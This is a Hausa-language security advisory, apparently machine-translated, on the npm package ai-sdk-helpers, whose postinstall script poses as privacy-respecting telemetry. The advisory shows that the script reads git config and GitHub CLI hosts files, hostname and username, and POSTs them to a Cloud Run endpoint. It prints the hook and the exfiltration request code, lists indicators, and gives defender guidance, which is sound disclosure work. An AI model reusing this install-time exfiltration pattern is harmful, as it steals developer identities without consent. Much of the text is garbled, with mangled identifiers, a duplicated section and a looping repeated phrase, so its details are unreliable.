TL, DR
Kunshin npm guda ɗaya, masu taimaka wa ai-sdk, yana gabatar da kansa a matsayin kayan aikin samarwa ga Vercel AI SDK, yana ba da bin diddigin farashi, faɗuwar masu samar da kayayyaki, da masu taimakawa wajen yawo.
Rubutun lokacin shigarwa yana buɗewa da tutar bayyanawa mai kyau wanda ke bayyanawa ganewar asali mara suna, yana mai alƙawarin cewa babu wata lambar tushe, alamu, ko takardun shaida da ake watsawa, girmama DO_NOT_TRACK fita daga ciki, da kuma haɗawa zuwa shafin manufofin telemetry.
Rubutun iri ɗaya yana karanta asalin git na mai haɓakawa, tsarin GitHub CLI, sunan mai masaukin na'ura, sunan mai amfani na OS, kundin aiki, da mai bada sabis na CI.
An saka wannan bayanin a matsayin JSON zuwa ƙarshen Google Cloud Run, yana haifar da rashin daidaito tsakanin manufar telemetry da aka ambata da ainihin filayen da aka tattara.
An buga fakitin a cikin nau'ikan ashirin da biyu a cikin fashewar daƙiƙa 83 guda ɗaya, kuma rubutun shigarwa iri ɗaya ne da byte-for-byte a cikin kowace sigar da aka yiwa alama.
Bakwai daga cikin nau'ikan guda takwas da muka yi nazari a kansu pipeline An ba wa masu rarraba ML maki marasa kyau saboda salon amincewa-banner yana kama da na'urar telemetry ta gaskiya.
Muna rarrabawa ai-sdk-helpers a matsayin cutarwa bisa ga tattara asalin mai haɓaka lokacin shigarwa da kuma fitar da shi.
Tsanani: babba.
Tsarin halittar shigarwar
{ "scripts": { "postinstall": "node scripts/postinstall.js" } }postinstall yana aiki ta atomatik npm shigarwa, kafin a shigo da kowace lambar talla ta kunshin. Rubutun rubutun/postinstall.js shine inda duk halayen lokacin shigarwa ke rayuwa.
Yana buɗewa da toshe sharhi da sanarwar lokacin aiki da aka rubuta a cikin rajistar aikin tushen buɗewa mai kula da sirri:
>Idan ka shigar da ai-sdk-helpers, muna gudanar da bincike mai sauri game da daidaiton muhalli kuma muna bayar da rahoton gano cutar da ba a san ko waye ba… Bayanan ba su da cikakken suna — muna tattara dandamalinka, sigar Node, da kuma hash na gano na'urarka ta hanya ɗaya. Ba a taɓa aika lambar tushe, alamun shafi, ko takardun shaida ba.
Har ma yana haɗa ƙofar fita mai aiki, lambar farko da za a iya aiwatarwa a cikin fayil ɗin:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); }Layin wannan ƙofar farko shine abin da ya sa sauran suka zama masu yarda: mai haɓaka wanda ya saita `D_BA_TAWA_BA Shigarwar ta kammala a hankali kuma ta kammala da kunshin ya girmama yarjejeniyar. Ficewar da aka yi wa girmamawa gaskiya ne. Abin da zai buɗe, ga duk wanda bai saita shi ba, shine tarin da aka bayyana a ƙasa - ba wai "dandamali, sigar Node, da hash mai hanya ɗaya" ba.
A ƙasan wannan ƙofar, rubutun ya tara nauyin da ya wuce wannan bayanin.
- *Gasali.* rshiryaScmIdentity()` masu sauraro `~.gitconfig`,`~.config/git/config`,da kuma aikin da ake yi a yanzu.shi/saita`,yana fassara `[ser]` sashe, kuma ya dawo da wanda aka saita commit imel. Idan babu fayil ɗin tsari da ya samar da imel, zai koma zuwa ga 'G'T_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,kuma `EAIL` Masu canjin yanayi. Tsarin takardu a saman aikin yana nuna abin da ake karantawa a matsayin hanyar "don rage yawan shigarwa a cikin injunan da mutum ɗaya ke da su (misali kwamfutar tafi-da-gidanka + CI)" - manufa da aka bayyana wacce ke buƙatar mai gano kowane mai haɓakawa mai ƙarfi, wanda commit kayayyakin imel.
- *Gasusun tHub.* rwarwareGitHubIdentity()` masu sauraro `~.config/gh/hosts.yml` nd`~.config/gh/hosts.yaml` fayil ɗin sanyi wanda GitHub CLI ya rubuta lokacin da mai haɓakawa ya tabbatar da - kuma regex-ya cire 'u'er:` nd `elafiya:` ields. Wannan fayil ɗin kuma yana adana alamar GitHub OAuth; regex na rubutun yana kai hari ga layin sunan mai amfani da imel musamman kuma baya cire alamar. Saboda haka, ikirarin "babu alamun ... da aka taɓa watsawa" na alamar bayyanawa gaskiya ne ga wannan filin yayin da ake karantawa da aika alamun asusun da ke kewaye.
- *Hyatsan yatsa na st da CI.* sai rubutun ya tattara `o.sunan mai masauki(),`o.bayanin mai amfani().sunan mai amfani`,Sigar Node, dandamali da gine-gine, `pocess.cwd()`,da kuma alamar mai samar da CI da aka warware ta hanyar duba masu canjin yanayi ga masu samar da ayyuka guda takwas (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, da tutocin CI guda biyu). Jerin mai samar da kayayyaki yana karantawa a matsayin jerin inda rubutun ke tsammanin aiwatarwa - harsashi mai hulɗa da ginin atomatik pipelines daidai.
Duk waɗannan an haɗa su cikin `d guda ɗayamasu shakka abu, tare da filayen kowane mai haɓakawa da aka tattara a ƙarƙashin `imahalli ey da bayanan mai masaukin baki a ƙarƙashin `rlokaci` nd `cntext` eys, sannan a jera su sannan a watsa su:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end();An yi watsi da amsar kuma an haɗiye duk kurakurai - wani sharhi ya lura cewa "ba dole ba ne telemetry ya karya shigarwar." Sunan mai masaukin ƙarshen yana ɓoye sabis na Google Cloud Run a cikin `eigiya-yamma1` ƙasar.
Labarin shine git ɗin. Tutar ta ambaci nau'ikan bayanai guda uku - dandamali, sigar Node, hash mai gano na'ura. Load ɗin yana aika ainihin git na mai haɓakawa. commit imel, sunan mai amfani da imel ɗin su na GitHub, sunan mai masaukin na'urar su da sunan asusun OS, hanyar aikin su, da kuma yanayin CI ɗin su. Filayen da ke gano *prson da asusunsu* daidai filayen da bayanin ya ɓace.
README yana ƙarfafa tsarin daga ɗayan gefen. Sashen "Telemetry" ɗinsa yana maimaita da'awar ɓoye sirri kuma yana haɗa kalmar `D_BA_TAWA_BA o `cnsoledonottrack.com`,shafin al'umma na gaske wanda ke tattara yarjejeniyar ficewa — aro sirrin da aka sani standard don a karanta sanarwar a matsayin ta yau da kullun.
tafiyar lokaci
Wannan wani abu ne da aka gano a cikin fakiti ɗaya, tare da ɗan gajeren tarihin wallafe-wallafe. Babu wani kamfen na makonni da yawa da za a bi - an tura dukkan nau'in sigar bisa ga saurin injin.
| Lokacin (UTC) | Event |
|---|---|
| 2026-06-03 20:31:20 | Sigar farko (0.1.0) an buga shi zuwa npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Duk nau'ikan 22 (0.1.0 saboda 1.4.2) an buga shi a cikin fashewar atomatik ta daƙiƙa 83. |
| 2026-06-04 | Sigogi takwas da aka yiwa alama da siginar ganowa; nazarin hannu yana tabbatar da tattara asalin lokacin shigarwa da kuma fitar da ruwa. Kunshin ya ci gaba da aiki a npm a lokacin nazarin. |
Tagar dakika 83 a cikin nau'ikan ma'ana 22 da kanta alama ce ta ɗabi'a: tsani na sigar (`0)1.0`,`01.1`,… `14.2`)yana gabatar da saman wani aiki mai inganci tare da tarihin fitarwa, wanda aka samar a cikin gudu ɗaya da aka rubuta. Rubutun shigarwa ba ya canzawa a fadin wannan tsani - duba ƙasa.
Alamomin sulhu
Nauyin lokacin shigarwa iri ɗaya ne a cikin kewayon sigar da aka buga.ff` f `sripts/postinstall.js` tsakanin sigar `02.1` sigar da sigar `14.2` ba ya haifar da wani bambanci; ɗabi'ar tafin hannu ɗaya ce da aka gyara, ba wani abu da ke ci gaba da faruwa ba.
Network
Tagar dakika 83 a cikin nau'ikan ma'ana 22 da kanta alama ce ta ɗabi'a: tsani na sigar (`0)1.0`,`01.1`,… `14.2`)yana gabatar da saman wani aiki mai inganci tare da tarihin fitarwa, wanda aka samar a cikin gudu ɗaya da aka rubuta. Rubutun shigarwa ba ya canzawa a fadin wannan tsani - duba ƙasa.
Alamomin sulhu
Nauyin lokacin shigarwa iri ɗaya ne a cikin kewayon sigar da aka buga.ff` f `sripts/postinstall.js` tsakanin sigar `02.1` sigar da sigar `14.2` ba ya haifar da wani bambanci; ɗabi'ar tafin hannu ɗaya ce da aka gyara, ba wani abu da ke ci gaba da faruwa ba.
Network
| nuna alama | Aikin |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Maƙallin ƙarshe na Exfiltration yana karɓar buƙatun HTTPS POST tare da nauyin JSON. An shirya shi akan Google Cloud Run a cikin europe-west1 yankin. |
Kayayyakin more rayuwa na Decoy
| nuna alama | Aikin |
|---|---|
ai-sdk.guide | Shafin farko na fakiti da kuma shafin yanar gizo kai tsaye wanda ke goyan bayan asalin marubucin "Jagorar SDK ta AI". |
ai-sdk.guide/telemetry | URL ɗin manufofin Telemetry da aka ambata a cikin sanarwar bayyana lokacin shigarwa. |
hello@ai-sdk.guide | An sanar da imel ɗin marubucin a cikin package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Ma'ajiyar tushe da aka ayyana ta kunshin. |
Ana karanta fayilolin a lokacin shigarwa
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` email
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uer` `eil`
Sa hannun ɗabi'a
- – m `pstinstall` ook yana kiran rubutun Node da aka haɗa
- - ƙofar fita (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NOT_TRACK`)an gabatar da shi azaman fasalin sirri, kafin tattara asali
- – tbound HTTPS POST na abu na JSON wanda ke ɗauke da imel na git, asalin GitHub, sunan mai masauki, sunan mai amfani na OS, cwd, da lakabin CI
- - rubutun shigar da te-ident a kan tsani da aka buga cikin sauri
Halayya da Ɗabi'un da Aka Lura
Ba mu danganta komai fiye da abin da fakitin da bayanan rajista suka yi rikodin ba.
Mai kula da rikodin npm shine asusun `aielsimon`,tare da adireshin `aiel@vigilance.security`.Rajistar ta lissafa wannan imel ɗin a matsayin wanda ba a tabbatar ba, kuma asalin mai kula da asusun a matsayin wanda ba a tabbatar ba.ckage.json`,daban, ya gabatar da marubucin a matsayin "Jagorar AI SDK `ello@ai-sdk.guide>`”tare da shafin farko na 'a'-sdk.jagora` da kuma ma'ajiyar tushe a ƙarƙashin `gƙungiyar thub.com/ai-sdk-guide. Yankin imel na asusun wallafawa (`vigilance.security`)da kuma asalin marubucin da ke cikin kunshin (`a-sdk.jagora`)yankuna ne daban-daban.
Da `a-sdk.jagora` Yana nan a raye kuma yana amsawa, kuma `/element ath ya warware - asalin yaudara yana da goyon bayan kasancewar yanar gizo mai sauƙin isa maimakon hanyar haɗi mara kyau, wanda ke ƙara gaskata tsarin kunshin.
**Ikon da aka lura.** A lokacin shigarwa, fakitin yana karanta fayilolin asalin mai haɓakawa da tsarin lissafi, yana nuna yatsan yatsan mai masaukin baki da yanayin CI, kuma yana aika sakamakon zuwa ƙarshen da mai aiki ke sarrafawa, yayin da yake nuna sanarwa da ke bayyana saitin bayanai mai kunkuntar da ba a san ko su waye ba. Muna bayyana wannan ɗabi'a; ba ma tabbatar da dalilin hakan ba. Masu karatu da ke kimanta fakitin - gami da duk wani ɓangare da ya gane asalin bugawa - ya kamata su auna rashin daidaiton da ake gani tsakanin kwararar bayanai da aka bayyana da ainihin su.
Tasiri, halaye, da jagora ga masu kare
Wanda aka fallasa. Duk wanda ya girka masu taimaka wa ai-sdk — kai tsaye ko kuma a matsayin dogaro na wucin gadi — yana gudanar da tarin akan wannan na'urar. Domin abin kunna shine postinstall, ba sai an shigo da lambar ɗakin karatu da aka tallata ba domin kwararar bayanai ta faru; shigarwar kaɗai ta isa. Muhalli mafi girman ƙima sune wuraren aiki na masu haɓakawa tare da asalin git da aka tsara da kuma ingantaccen GitHub CLI, da masu gudu na CI, inda gano mai samar da CI na rubutun ke nuna cewa ana sa ran tarin zai gudana a cikin ginin. pipelineda kuma a kwamfyutocin tafi-da-gidanka.
Abin da yake fallasawa. Ba sirrin aikace-aikace ba ne a cikin yanayin gabaɗaya - nauyin da aka ɗora yana kan ainihi: na mai haɓaka commit imel, sunan asusun GitHub da imel ɗinsu, sunayen na'ura da asusun, da kuma hanyar aikin. Wannan shine precisTaswirar wanda ya shigar da fakitin, a kan wace na'ura, a cikin wace ma'ajiyar bayanai, da kuma a ƙarƙashin tsarin CI. Ga ƙungiya, kaɗan daga cikin irin waɗannan bayanan da aka ɗauka tare za su lissafa waɗanne injiniyoyi da tsarin ginawa ne suka jawo dogaro - masu amfani a matsayin abin da zai zama abin da zai zama abin da zai zama abin da zai zama abin da zai zama abin da zai zama abin da zai zama abin da zai biyo baya, duk da cewa halayen wannan fakitin ya tsaya ne a lokacin tattarawa da watsawa.
Yanayin: telemetry a matsayin murfin. Kayan aikin haɓaka masu haɓaka halal suna tattara binciken shigarwa mara suna, da kuma ƙa'idodin yin sa cikin girmamawa - sanarwar bayyanawa, a YI_BA_TAWA_BA girmamawa, tutar rashin amincewa, adireshin yanar gizo na manufofi - sanannu ne sosai. masu taimaka wa ai-sdk yana sake maimaita duk waɗannan yarjejeniyoyi guda huɗu da aminci kuma yana amfani da su azaman abin rufewa don tattara asali. Kasancewar tutar izini, rashin fita aiki, ko hanyar haɗin manufofin sirri ba shaida ba ce cewa fakitin abin dogaro ne; waɗannan ikon sarrafawa ba su da tsada a yi koyi da su. Abin da kawai za a iya tabbatarwa shi ne abin da lambar ta karanta da kuma inda take aika ta a zahiri.
Wannan marufi yana da tasiri mai aunawa akan rarrabuwa ta atomatik. A cikin nau'ikan mu pipeline an yi bita, sharhin rubutun shigarwa na harshe mai sauƙi, sunayen filin da aka tsara, da ƙofar fita ta al'ada da aka sanya a matsayin na'urar telemetry ta yau da kullun: bakwai daga cikin takwas sun dawo m daga mai rarraba ML maimakon mugunta. Siginar da ke warware rashin tabbas ba ta cikin rubutun ba - tana cikin takamaiman fayilolin da rubutun ke buɗewa (~ / .gitconfig, ~/.config/gh/hosts.yml) da kuma inda za a aika zuwa. Mai bita, ko na atomatik ko na ɗan adam, wanda ya karanta bayanin kuma ya tsaya a can zai kai ga ƙarshe mara daidai; dole ne a yanke shawara daga gaskiyar kwararar bayanai.
Jagora ga masu kare:
- Shigarwa tare da an kashe rubutun ta hanyar tsoho — shigar npm –ignore-scripts, ko saita ignore-scripts=gaskiya in .npmrc kuma a gudanar da matakan ginawa da aka tantance a sarari. Wannan yana rage tasirin postinstall- tarin da aka haifar a fadin hukumar.
- Kada ka ɗauki ikon fita daga cikin ƙungiyar a matsayin alamun aminci. YI_BA_TAWA_BA duba ko hanyar haɗin "tsarin sadarwa" ba ta gaya maka komai game da bayanan da rubutun ya tattara lokacin da ba a saita ƙofar ba.
- Karanta hanyar shigar da kayan kafin amfani da fakitin taimakon tsarin AI-ecosystem. Wurin Vercel AI SDK manufa ce mai sauri da aminci; postinstall wanda ya taɓa ~ / .gitconfig or ~/.config/gh/ wata alama ce bayyananniya ba tare da la'akari da yadda aka rubuta sharhin da ke kewaye ba.
- Sa ido kan fitowar lokacin ginawa. POST na HTTPS na fita yayin npm shigarwa, musamman ga sabon wurin aiki na girgije da aka tanadar, ana iya ganinsa a matakin cibiyar sadarwa kuma wuri ne mai ƙarfi na gano yanayin CI.
- Ku kula da tsani na sigar da aka matsa. Kunshin da tarihin sigar ma'ana gaba ɗaya ya bayyana cikin daƙiƙa kaɗan, tare da rubutun shigarwa mara canzawa, yana gabatar da tarihin gyara da aka ƙera.
